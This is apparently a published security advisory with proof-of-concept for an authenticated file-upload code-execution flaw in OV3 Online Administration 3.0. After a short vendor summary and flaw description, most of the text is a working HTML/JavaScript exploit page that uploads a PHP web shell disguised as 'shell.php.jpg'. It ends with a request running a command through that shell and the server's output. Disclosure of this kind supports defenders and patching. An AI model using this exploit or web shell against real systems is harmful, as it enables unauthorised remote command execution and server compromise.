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OV3 Online Administration 3.0 Authenticated Code Execution

Posted on 31 May 2017

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OV3 Online Administration 3.0 Authenticated Code Execution

Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: The application suffers from an authenticated arbitrary code execution. The
vulnerability is caused due to the improper verification of uploaded files in 'image_editor.php'
script thru the 'userfile' POST parameter. This can be exploited to execute arbitrary
PHP code by uploading a malicious PHP script file that will be stored in '/media/customers/'
directory. There is an extension check when uploading images and if the uploaded file
does not have the .jpg or .png extension, the application uploads the file with .safety
extension, which still executes PHP code. The attacker only needs the sid parameter
value which is disclosed within the initial GET request while authenticating and can be
collected in MitM attack.

Tested on: CentOS release 6.8 (Final)
PHP/5.3.3
Apache/2.2.15
MySQL/5.0.11

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience

Advisory ID: ZSL-2017-5411
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5411.php

26.12.2016

-->

<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1/ov3.php?todo=manager&manager=media&sub=insert&edit_id=0&&from=&sid=c7cd370ec516d273230944a2c6495d38&stamp=1234567890&lang=en", true);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundary5HeURJ9AF8oOlc8q");
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
xhr.withCredentials = true;
var body = "------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="save_close"
" +
"
" +
"0
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="window_key"
" +
"
" +
"1482761612
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[user]"
" +
"
" +
"1483825
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[group]"
" +
"
" +
"1095422
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[description]"
" +
"
" +
"ZSL
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[alttext]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[subline]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="file_type"
" +
"
" +
"upload
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="MAX_FILE_SIZE"
" +
"
" +
"122914560
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="userfile"; filename="shell.php.jpg"
" +
"Content-Type: image/webp
" +
"
" +
"x3c?php system($_REQUEST['cmd']); ?x3e
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[author]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[copyright]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[license_confirm]"
" +
"
" +
"1
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in_12_1"
" +
"
" +
"1
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[license_expires]"
" +
"
" +
"license_expires
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[license_expires_0]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[license_expires_1]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[license_expires_2]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[license_remind]"
" +
"
" +
"0
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[scheme_id_selected]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q
" +
"Content-Disposition: form-data; name="in[scheme_id]"
" +
"
" +
"
" +
"------WebKitFormBoundary5HeURJ9AF8oOlc8q--
";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Write file" onclick="submitRequest();" />
</form>
</body>
</html>

<!--

GET http://127.0.0.1/media/customers/5575/shell.php.jpg?cmd=id HTTP/1.1

uid=48(apache) gid=48(apache) groups=48(apache)

-->

 

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